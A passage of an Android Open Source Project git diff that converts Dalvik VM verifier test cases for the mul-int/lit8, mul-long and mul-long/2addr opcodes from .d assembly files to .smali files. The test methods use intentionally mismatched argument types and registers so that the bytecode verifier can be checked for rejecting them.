-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_int_lit8_9.java
-.class public dot.junit.opcodes.mul_int_lit8.d.T_mul_int_lit8_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(J)I
-.limit regs 9
-
-       mul-int/lit8 v0, v7, 123
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_9.smali
new file mode 100644
index 0000000..5484959
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_9.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_int_lit8_9.java"
+.class  public Ldot/junit/opcodes/mul_int_lit8/d/T_mul_int_lit8_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)I
+.registers 9
+
+       mul-int/lit8 v0, v7, 123
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long/d/T_mul_long_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long/d/T_mul_long_1.d
deleted file mode 100644
index de4736d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long/d/T_mul_long_1.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_long_1.java
-.class public dot.junit.opcodes.mul_long.d.T_mul_long_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 14
-
-       mul-long v0, v10, v12
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long/d/T_mul_long_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long/d/T_mul_long_1.smali
new file mode 100644
index 0000000..b8a38c5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long/d/T_mul_long_1.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_long_1.java"
+.class  public Ldot/junit/opcodes/mul_long/d/T_mul_long_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 14
+
+       mul-long v0, v10, v12
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long/d/T_mul_long_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long/d/T_mul_long_2.d
deleted file mode 100644
index 4e0d25c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long/d/T_mul_long_2.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_long_2.java
-.class public dot.junit.opcodes.mul_long.d.T_mul_long_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 14
-
-       mul-long v0, v12, v14
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long/d/T_mul_long_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long/d/T_mul_long_2.smali
new file mode 100644
index 0000000..8fdc0b3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long/d/T_mul_long_2.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_long_2.java"
+.class  public Ldot/junit/opcodes/mul_long/d/T_mul_long_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 14
+
+       mul-long v0, v12, v14
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long/d/T_mul_long_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long/d/T_mul_long_3.d
deleted file mode 100644
index f2faf7d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long/d/T_mul_long_3.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_long_3.java
-.class public dot.junit.opcodes.mul_long.d.T_mul_long_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JD)J
-.limit regs 14
-
-       mul-long v0, v10, v12
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long/d/T_mul_long_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long/d/T_mul_long_3.smali
new file mode 100644
index 0000000..95628a2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long/d/T_mul_long_3.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_long_3.java"
+.class  public Ldot/junit/opcodes/mul_long/d/T_mul_long_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JD)J
+.registers 14
+
+       mul-long v0, v10, v12
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long/d/T_mul_long_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long/d/T_mul_long_4.d
deleted file mode 100644
index bd62f75..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long/d/T_mul_long_4.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_long_4.java
-.class public dot.junit.opcodes.mul_long.d.T_mul_long_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JI)J
-.limit regs 14
-
-       mul-long v0, v11, v13
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long/d/T_mul_long_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long/d/T_mul_long_4.smali
new file mode 100644
index 0000000..634f7c6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long/d/T_mul_long_4.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_long_4.java"
+.class  public Ldot/junit/opcodes/mul_long/d/T_mul_long_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JI)J
+.registers 14
+
+       mul-long v0, v11, v13
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long/d/T_mul_long_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long/d/T_mul_long_5.d
deleted file mode 100644
index 3d1d09e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long/d/T_mul_long_5.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_long_5.java
-.class public dot.junit.opcodes.mul_long.d.T_mul_long_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FJ)J
-.limit regs 14
-
-       mul-long v0, v11, v12
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long/d/T_mul_long_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long/d/T_mul_long_5.smali
new file mode 100644
index 0000000..c7ae3f8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long/d/T_mul_long_5.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_long_5.java"
+.class  public Ldot/junit/opcodes/mul_long/d/T_mul_long_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FJ)J
+.registers 14
+
+       mul-long v0, v11, v12
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long/d/T_mul_long_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long/d/T_mul_long_6.d
deleted file mode 100644
index 656ec8c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long/d/T_mul_long_6.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_long_6.java
-.class public dot.junit.opcodes.mul_long.d.T_mul_long_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 14
-
-       mul-long v0, v9, v12
-       return-wide v9
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long/d/T_mul_long_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long/d/T_mul_long_6.smali
new file mode 100644
index 0000000..d479e11
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long/d/T_mul_long_6.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_long_6.java"
+.class  public Ldot/junit/opcodes/mul_long/d/T_mul_long_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 14
+
+       mul-long v0, v9, v12
+       return-wide v9
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long_2addr/d/T_mul_long_2addr_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long_2addr/d/T_mul_long_2addr_1.d
deleted file mode 100644
index 1175bf4..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long_2addr/d/T_mul_long_2addr_1.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_long_2addr_1.java
-.class public dot.junit.opcodes.mul_long_2addr.d.T_mul_long_2addr_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 14
-
-       mul-long/2addr v10, v12
-       return-wide v10
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long_2addr/d/T_mul_long_2addr_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long_2addr/d/T_mul_long_2addr_1.smali
new file mode 100644
index 0000000..b5bdb63
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long_2addr/d/T_mul_long_2addr_1.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_long_2addr_1.java"
+.class  public Ldot/junit/opcodes/mul_long_2addr/d/T_mul_long_2addr_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 14
+
+       mul-long/2addr v10, v12
+       return-wide v10
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long_2addr/d/T_mul_long_2addr_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long_2addr/d/T_mul_long_2addr_2.d
deleted file mode 100644
index c044257..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long_2addr/d/T_mul_long_2addr_2.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_long_2addr_2.java
-.class public dot.junit.opcodes.mul_long_2addr.d.T_mul_long_2addr_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 14
-
-       mul-long/2addr v12, v14
-       return-wide v12
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long_2addr/d/T_mul_long_2addr_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long_2addr/d/T_mul_long_2addr_2.smali
new file mode 100644
index 0000000..2e1ad3f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long_2addr/d/T_mul_long_2addr_2.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_long_2addr_2.java"
+.class  public Ldot/junit/opcodes/mul_long_2addr/d/T_mul_long_2addr_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 14
+
+       mul-long/2addr v12, v14
+       return-wide v12
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long_2addr/d/T_mul_long_2addr_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long_2addr/d/T_mul_long_2addr_3.d
deleted file mode 100644
index 6735fe5..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long_2addr/d/T_mul_long_2addr_3.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_long_2addr_3.java
-.class public dot.junit.opcodes.mul_long_2addr.d.T_mul_long_2addr_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JD)J
-.limit regs 14
-
-       mul-long/2addr v10, v12
-       return-wide v10
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long_2addr/d/T_mul_long_2addr_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long_2addr/d/T_mul_long_2addr_3.smali
new file mode 100644
index 0000000..99acac8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long_2addr/d/T_mul_long_2addr_3.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_long_2addr_3.java"
+.class  public Ldot/junit/opcodes/mul_long_2addr/d/T_mul_long_2addr_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JD)J
+.registers 14
+
+       mul-long/2addr v10, v12
+       return-wide v10
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long_2addr/d/T_mul_long_2addr_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long_2addr/d/T_mul_long_2addr_4.d
deleted file mode 100644
index e708710..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long_2addr/d/T_mul_long_2addr_4.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_long_2addr_4.java
-.class public dot.junit.opcodes.mul_long_2addr.d.T_mul_long_2addr_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JI)J
-.limit regs 14
-
-       mul-long/2addr v11, v13
-       return-wide v11
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long_2addr/d/T_mul_long_2addr_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long_2addr/d/T_mul_long_2addr_4.smali
new file mode 100644
index 0000000..8b2d797
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long_2addr/d/T_mul_long_2addr_4.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_long_2addr_4.java"
+.class  public Ldot/junit/opcodes/mul_long_2addr/d/T_mul_long_2addr_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JI)J
+.registers 14
+
+       mul-long/2addr v11, v13
+       return-wide v11
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long_2addr/d/T_mul_long_2addr_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long_2addr/d/T_mul_long_2addr_5.d
deleted file mode 100644
index 365e8ca..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long_2addr/d/T_mul_long_2addr_5.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_long_2addr_5.java
-.class public dot.junit.opcodes.mul_long_2addr.d.T_mul_long_2addr_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FJ)J
-.limit regs 14
-
-       mul-long/2addr v11, v12
-       return-wide v11
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long_2addr/d/T_mul_long_2addr_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long_2addr/d/T_mul_long_2addr_5.smali
new file mode 100644
index 0000000..f7b1445
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long_2addr/d/T_mul_long_2addr_5.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_mul_long_2addr_5.java"
+.class  public Ldot/junit/opcodes/mul_long_2addr/d/T_mul_long_2addr_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FJ)J
+.registers 14
+
+       mul-long/2addr v11, v12
+       return-wide v11
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long_2addr/d/T_mul_long_2addr_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long_2addr/d/T_mul_long_2addr_6.d
deleted file mode 100644
index bd6d465..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/mul_long_2addr/d/T_mul_long_2addr_6.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_mul_long_2addr_6.java
